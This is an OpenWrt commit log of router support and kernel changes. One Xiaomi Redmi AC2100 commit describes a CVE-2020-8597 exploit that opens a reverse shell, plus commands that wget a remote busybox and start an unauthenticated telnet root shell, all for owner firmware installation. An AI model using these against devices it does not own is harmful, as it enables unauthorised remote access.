Commit Graph

22917 Commits

Author SHA1 Message Date
Adrian Schmutzler
5a7d11fb78 bcm63xx: replace further "ok" with "okay" in DTS files
While "ok" is recognized in DT parsing, only "okay" is actually
mentioned as valid value. Replace it accordingly.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-22 18:26:29 +02:00
Hauke Mehrtens
586661018e ath79: Do not build buffalo_whr-g301n by default
The squashfs partition is getting too big.

Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
2020-05-21 22:16:17 +02:00
Álvaro Fernández Rojas
78a0ae9023 bcm63xx: WIP: add Huawei HG253s v2 support
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-21 19:11:24 +02:00
Álvaro Fernández Rojas
5998c8f059 bcm63xx: nand: support CFE partition tags
Introduce support for generating JFFS2 CFE partition tags.
This is used in NAND devices in order to verify the integrity of the JFFS2
partition.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-21 19:11:24 +02:00
Álvaro Fernández Rojas
6dc3dce658 bcm63xx: improve rgmii ctrl overrides
There are older devices which require overriding the RGMII ports, so this
shouldn't be limited and forced to BCM63268.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-21 19:11:24 +02:00
Álvaro Fernández Rojas
7a817752f6 bcm63xx: dgnd3700-v1: add NAND support
NAND is used as extra storage on this device.

Signed-off-by: Daniel Gonzalez Cabanelas <dgcbueu@gmail.com>
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-21 19:11:24 +02:00
Álvaro Fernández Rojas
67861b2a66 bcm63xx: nand: fix v2.1 controller support
Page size shift is different from v2.2+ controllers

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-21 19:11:23 +02:00
Russell King
6593ea23e5 kernel: backport the I2C bus recovery for uDPU
Backport the I2C bus recovery DT configuration for the uDPU that has
been queued for 5.8.

Signed-off-by: Russell King <linux@armlinux.org.uk>
2020-05-21 12:55:31 +02:00
Russell King
714199ec34 kernel: backport v5.8 i2c-pxa updates
Add i2c-pxa updates queued for v5.8, which add bus recovery to this
driver; this is needed for the uDPU platform.

Signed-off-by: Russell King <linux@armlinux.org.uk>
2020-05-21 12:55:31 +02:00
Russell King
72a1d5c3ac kernel: backport gpio emulated open drain output fix
Backport the GPIO emulated open drain output fix from v5.5, which is
required for the i2c-pxa backport.

Signed-off-by: Russell King <linux@armlinux.org.uk>
2020-05-21 12:55:31 +02:00
Thibaut VARÈNE
6934b20912 generic: platform/mikrotik: disambiguate SPDX-License-Identifier
I meant it to be GPL-2.0-only, as evidenced by the boilerplate.

Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
2020-05-20 17:03:45 +02:00
Thibaut VARÈNE
49eec56bfc generic: routerbootpart.c: disambiguate SPDX-License-Identifier
I meant it to be GPL-2.0-only, as evidenced by the boilerplate.

Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
2020-05-20 17:03:45 +02:00
Eneas U de Queiroz
94e27d62ab sdk: add OpenWrt branding to menuconfig & .config
Set the mainmenu symbol in SDK Config.in to "OpenWrt Configuration", the
same as the main OpenWrt Config.in.  This string is is used as the name
of the top menu in menuconfig, and at the top of the .config file.  If
unset, current kconfig will use "Linux Kernel Configuration".

Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
2020-05-20 17:03:45 +02:00
Eneas U de Queiroz
1f2539a1f4 sdk: fix host menu config targets using ncurses
This applies 965f341aa9 ("build: fix host menu config targets using
ncurses") to the SDK top Makefile.

If there is a pkg-config in the staging dir, it will try to use it
instead of the host system's pkg-config; then it will fail to find the
ncurses package.  Linux's default will be used, which fails in some
cases, such as recent Gentoo systems.

Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
[fixed From: to match SoB]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
2020-05-20 17:03:45 +02:00
Petr Štetiar
1b2fefb244 kernel: bump 5.4 to 5.4.42
Refreshed patches, removed upstreamed patch:

 generic/pending: 001-v5.4-pinctrl-qcom-fix-wrong-write-in-update_dual_edge.patch.patch

Run tested: qemu-x86-64
Build tested: x86/64, ath79/nand, imx6, sunxi/a53

Signed-off-by: Petr Štetiar <ynezz@true.cz>
2020-05-20 15:26:22 +02:00
Alberto Bursi
dc7cc60ca3 x86: fix generic kernel 5.4 config
The last kernel update done with commit 500a02bc29 ("x86: Update
configuration") placed most of the updated config only in the x86_64
target.

Move the options needed by the other targets too in the x86 base config,
and add an additional option needed by those targets.

Fixes: 500a02bc29 ("x86: Update configuration")
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
[commit subject/description tweaks]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
2020-05-20 15:26:22 +02:00
Richard Huynh
f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
2020-05-20 15:26:22 +02:00
Álvaro Fernández Rojas
c93cdf536a bcm63xx: lzma-loader: rely on CHIP_ID for UART address
lzma-loader uart output wasn't working on BCM3380/BCM6362 because these
SoCs have the same processor ID.
Let's use CHIP_ID for establishing the UART base address.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-20 11:15:29 +02:00
Álvaro Fernández Rojas
8e8920c92f bcm63xx: lzma-loader: remove unused definitions
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-20 09:26:15 +02:00
Álvaro Fernández Rojas
0836e22a83 bcm63xx: image: add CVG834G CHIP_ID
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-20 09:23:10 +02:00
Álvaro Fernández Rojas
91b275b6e3 bcm63xx: image: rename CFE_CHIP_ID to CHIP_ID
Rename CFE_CHIP_ID to a generic name that doesn't involve CFE.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-20 09:21:34 +02:00
Álvaro Fernández Rojas
e0382c50e9 bcm63xx: fix AD1018 WLAN led
Standard AD1018 has lower case LEDs.

Fixes: 5f82691923 ("bcm63xx: add unmodded SERCOMM AD1018 support")
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-20 08:46:13 +02:00
Álvaro Fernández Rojas
5f82691923 bcm63xx: add unmodded SERCOMM AD1018 support
Until now only HW modded SPI flash version was supported.

BCM6328 with 64M RAM and 128M NAND.
More info: https://openwrt.org/toh/sercomm/ad1018

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-19 13:33:39 +02:00
Álvaro Fernández Rojas
5d3bb7ea9a kernel: mtdsplit: bcm_wfi: add sercomm support
SERCOMM creates separates partitions for cferam.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-19 13:33:39 +02:00
Álvaro Fernández Rojas
f996377a26 bcm63xx: bcm6328: fix strapbus boot sel
Boot selection bit is 18, not 28.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-19 13:33:39 +02:00
Sungbo Eo
31697f92a2 ramips: fix MAC address setup for RT5350F-OLinuXino devices
Olimex RT5350F-OLinuXino devices do not have a default MAC address, and there is
nothing at the 0x4 offset in the factory partition. Using a local address, which
is randomly generated by the kernel, would be a better choice.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
2020-05-19 19:03:07 +08:00
Sungbo Eo
f7112a180f ramips: 5.4: handle ERR_PTR properly
of_get_mac_address can return ERR_PTR since 5.2, so the return pointer should be
checked before used. Otherwise it might cause an oops during boot.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
2020-05-19 19:03:07 +08:00
INAGAKI Hiroshi
0a05d71f6f ramips: fix initramfs image for I-O DATA mt7621 devices
This is additional fix of c998ae7f0e.

The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC
(MitraStar Technology Corp.) faced to the booting issue. This was caused
by imcomplete extraction of large kernel image by U-Boot, and this issue
is occurred in initramfs image after fixing of sysupgrade image.
So, use lzma-loader for initramfs image to fix the issue.

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
2020-05-19 19:03:07 +08:00
Chuanhong Guo
a43cbfe2e3 ramips: remove default switch setup in 02_network
ramips images now relies on explicit switch setup for proper failsafe
functionality. Remove default cases where it relies on vlan setup in
dts and add switch setup for devices affected.

Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
2020-05-19 19:03:02 +08:00
Álvaro Fernández Rojas
597df570f3 bcm63xx: reorganize board patches
Let's put some order on board patches.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-19 11:07:24 +02:00
Álvaro Fernández Rojas
edafbe81e0 bcm63xx: bcm6328-leds: improve HW blinking
Add support for second HW blinking interval.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-19 11:03:58 +02:00
Álvaro Fernández Rojas
daee6b4661 bcm63xx: add Comtrend VG-8050 support
BCM63169 with 128M RAM, 128M NAND and BCM53125 switch.
Switch is connected by HSSPI to CS5.
More info: https://openwrt.org/toh/comtrend/vg8050

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-19 10:41:47 +02:00
Álvaro Fernández Rojas
62e7342ddf bcm63xx: add NETGEAR DGND3700v2 support
BCM6362 with 64M RAM, 32M NAND and BCM53125 switch.
Switch is connected by MMAP, which is currently unsupported (no VLANs).
More info: https://openwrt.org/toh/netgear/dgnd3700v2

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-19 10:41:42 +02:00
Adrian Schmutzler
74ff0773b5 ramips: remove leading zeros from MAC address location
Cosmetic adjustment to match the rest of the target.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 21:51:06 +02:00
Adrian Schmutzler
be9eab9bca ramips: set WAN address in DTS for ASUS RT-AC51U/RT-AC54U
The location 0x28 in factory partition is the common one used for
ethernet address on this architecture. Despite, it contains the label
MAC address for the devices at hand.

Consequently, this patch moves 0x28 to the &ethernet node in DTS files
(setting the WAN MAC address there) and sets up the lan_mac from 0x22
in 02_network. As a benefit, this allows to use label-mac-device in
DTS instead of ucidef_set_label_macaddr.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 21:51:06 +02:00
Adrian Schmutzler
a1f0fd8cba ramips: use DT trigger for 2G WiFi on ASUS RT-AC51U
Like for the RT-AC54U, this uses a DT trigger for WiFi also at the
RT-AC51U. While at it, rename node and label to wifi2g.

Note that the 5g WiFi LED still isn't supported (see PR #3017 for
further details: https://github.com/openwrt/openwrt/pull/3017 )

Tested-by: Davide Fioravanti <pantanastyle@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 21:51:06 +02:00
Adrian Schmutzler
0b34a36da9 ramips: fix MAC address assignment for ASUS RT-AC51U
The current MAC address assignment for the ASUS RT-AC51U is "wrong",
it actually should be the same as for the RT-AC54U. Fix it.

MAC assignment based on vendor firmware:

  2g    0x4	label
  5g    0x8004	label +4
  lan   0x22	label +4
  wan   0x28	label

Thanks to Davide Fioravanti for checking this on his device.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 21:51:06 +02:00
Fabian Bläse
33b2078528 mt7621: Make ER-X-SFP factory image compatible with EP-R6
The version inside the compat file determines, if a firmware supports
a specific device. I have not yet fully understood, how this is checked,
but it only seems to indicate which devices are supported by a specific
version of the combined vendor firmware. Devices assume that subsequent
versions, starting with the version that initially added support for a
specific device, are always compatible.

The first compat version that added support for the EP-R6 was '21001:7',
but OpenWrt did use '21001:6' before. This is why the factory image could
not be flashed using the vendor software, but only using TFTP.

The compat version has been bumped by the vendor a few times, but more
devices have been added since (e.g. ER-10X). Because OpenWrt currently
only supports the ER-X, ER-X-SFP and EP-R6, the compat version is
incremented to the version that first supported the EP-R6, which is
'21001:7'.

This allows the factory image to be flashed on EP-R6 without TFTP.

Signed-off-by: Fabian Bläse <fabian@blaese.de>
2020-05-18 21:11:47 +02:00
David Bauer
4133304413 mpc85xx: restructure image receipts
Move the image receipts into separate per-subtarget files like it is
done on most other targets.

Signed-off-by: David Bauer <mail@david-bauer.net>
2020-05-18 21:11:39 +02:00
David Bauer
564f87ef5b mpc85xx: rename generic subtarget to p1010
The mpc85xx-generic subtarget supports the QorIQ SoCs of the p1010
family. Rename the subtarget to reflect this affiliation as it's the
case with the other mpc85xx subtargets.

Signed-off-by: David Bauer <mail@david-bauer.net>
2020-05-18 21:11:22 +02:00
Álvaro Fernández Rojas
367a30389d bcm63xx: add support for Comtrend VR-3032u
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-18 18:24:06 +02:00
Álvaro Fernández Rojas
86583384ff bcm63xx: smp: add NAND support
NAND controller is present on BCM6328, BCM6362, BCM6368 and BCM63268.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-18 18:24:06 +02:00
Álvaro Fernández Rojas
cca13d8e82 kernel: mtdsplit: add BCM WFI support
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-18 18:24:06 +02:00
Adrian Schmutzler
4a61a88f90 ath79: add support for TP-Link TL-WA901ND v4 and v5
This ports support for the TL-WA901ND v4 and v5 from ar71xx to ath79.
They are similar to the TP9343-based TL-WR940N v3/v4 and TL-WR941ND v6.

Specifications:
  SoC: TP9343
  Flash/RAM: 4/32 MiB
  CPU: 750 MHz
  WiFi: 2.4 GHz b/g/n
  Ethernet: 1 port (100M)

Flashing instructions:
  Upload the factory image via the vendor firmware upgrade option.

Flash instruction (TFTP):
  1. Set PC to fixed ip address 192.168.0.66
  2. Download *-factory.bin image and rename it to * (see below)
  3. Start a tftp server with the image file in its root directory
  4. Turn off the router
  5. Press and hold Reset button
  6. Turn on router with the reset button pressed and wait ~15 seconds
  7. Release the reset button and after a short time
     the firmware should be transferred from the tftp server
  8. Wait ~30 second to complete recovery.

  * The image name for TFTP recovery is wa901ndv4_tp_recovery.bin for
  both variants.

In ar71xx, a MAC address with offset 1 was used for ethernet port.
That's probably wrong, but this commit sticks to it until we know
the correct value.

Like in ar71xx, this builds the default factory.bin with EU country
code.

Thanks to Leonardo Weiss for testing on the v5.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 13:35:38 +02:00
Alexander Couzens
bf5d800578
lantiq: fritz 7360 v2: remove additional supported devices
The additional supported device isn't required since this is a new
device. Some board contains an addtional device,
those device were supported in earlier versions which used the
"old" image builder code.
To support an sysupgrade from such old version, there is the all caps
additional device.

Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 11:59:22 +02:00
Alexander Couzens
0962baae4e lantiq: fritz 7360 v2: rename device before it will be used
Use similiar naming scheme as ath79.
Since the fritz 7360 v2 was only in the tree for 2 days, there
is no compatibility for the old image.
Users which has installed the fritz 7360 v2 before this change, must
use sysupgrade --force to skip checks on the board.

Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
Reviewed-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 11:57:57 +02:00
Adrian Schmutzler
30cc7f3510 ramips: increase SPI frequency for ASUS RT-AC51U/RT-AC54U
This increases the SPI frequency for both ASUS RT-AC51U and RT-AC54U.

Speed comparison tests have been performed on RT-AC54U:

- 10Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real    4m 37.78s
user    0m 0.02s
sys     2m 43.92s

- 50Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real    1m 28.34s
user    0m 0.03s
sys     0m 46.96s

- 50Mhz fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real    1m 11.94s
user    0m 0.01s
sys     0m 46.94s

- 80Mhz
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real    1m 12.31s
user    0m 0.04s
sys     0m 46.96s

- 80Mhz fast read
root@OpenWrt:~# time cat /dev/mtd* > /dev/null
real    1m 12.15s
user    0m 0.02s
sys     0m 46.97s

Based on that, we took 50 MHz with fast-read, as higher frequencies
didn't yield further improvements.

For the RT-AC51U, only the final configuration was tested.

Tested-by: Zhijun You <hujy652@gmail.com> [RT-AC54U]
Tested-by: Davide Fioravanti <pantanastyle@gmail.com> [RT-AC51U]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2020-05-18 11:38:22 +02:00
Álvaro Fernández Rojas
13c33f3f12 bcm63xx: mask interrupts on init
Fixes BCM6348/BCM6358 hangs while booting:
https://bugs.openwrt.org/index.php?do=details&task_id=2202

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
2020-05-17 23:29:48 +02:00
Roger Pueyo Centelles
a0ef42e77c ath79: add support for Ubiquiti PowerBeam 5AC 500
The Ubiquiti PowerBeam 5AC 500 (PBE-5AC-500) is an outdoor 802.11ac
5 GHz bridge with a radio feed and a dish antenna.

Specifications:
 - SoC: Qualcomm Atheros QCA9558
 - RAM: 128 MB DDR2
 - Flash: 16 MB SPI NOR (mx25l12805d)
 - Ethernet: 1x 10/100/1000 Mbps Atheros 8031, 24 Vdc PoE-in
 - WiFi 5 GHz: QCA988x HW2.0 Ubiquiti target 0x4100016c chip_id 0x043222ff
 - Buttons: 1x (reset)
 - LEDs: 1x power, 1x Ethernet, 4x RSSI, all blue
 - UART: not tested

Not supported:
 - RSSI LEDs (probably through 74HC595 chip)

Installation from stock airOS firmware:
 - Follow instructions for XC-type Ubiquiti devices on OpenWrt wiki at
   https://openwrt.org/toh/ubiquiti/common

Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
2020-05-17 21:03:30 +02:00
Davide Fioravanti
31b49f02ca ramips: add support for Linksys EA7500 v2
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.

Hardware
--------
SoC:   Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM:   256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH:   5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
  - 2.4GHz: 1x MT7615N (4x4:4)
  - 5GHz:   1x MT7615N (4x4:4)
  - 4 antennas: 3 external detachable antennas and 1 internal
USB:
  - 1x USB 3.0
  - 1x USB 2.0
BTN:
  - 1x Reset button
  - 1x WPS button
LEDS:
  - 1x White led (Power)
  - 6x Green leds (link lan1-lan4, link wan, wps)
  - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)

Everything works correctly.

Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.

However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).

After this, you should be back in the OEM firmware.

Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).

When the router reboots flash the “factory” OpenWrt image and this
time it should work.

After the OpenWrt installation you have to use the sysupgrade image
for future updates.

Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.

Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
 1) "kernel" and "rootfs"
 2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.

This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.

A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.

Another way to switch the boot partition is:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.

Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.

However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.

If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
Co-Developed-by: Jackson Lim <jackcolentern@gmail.com>
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
2020-05-17 18:44:28 +02:00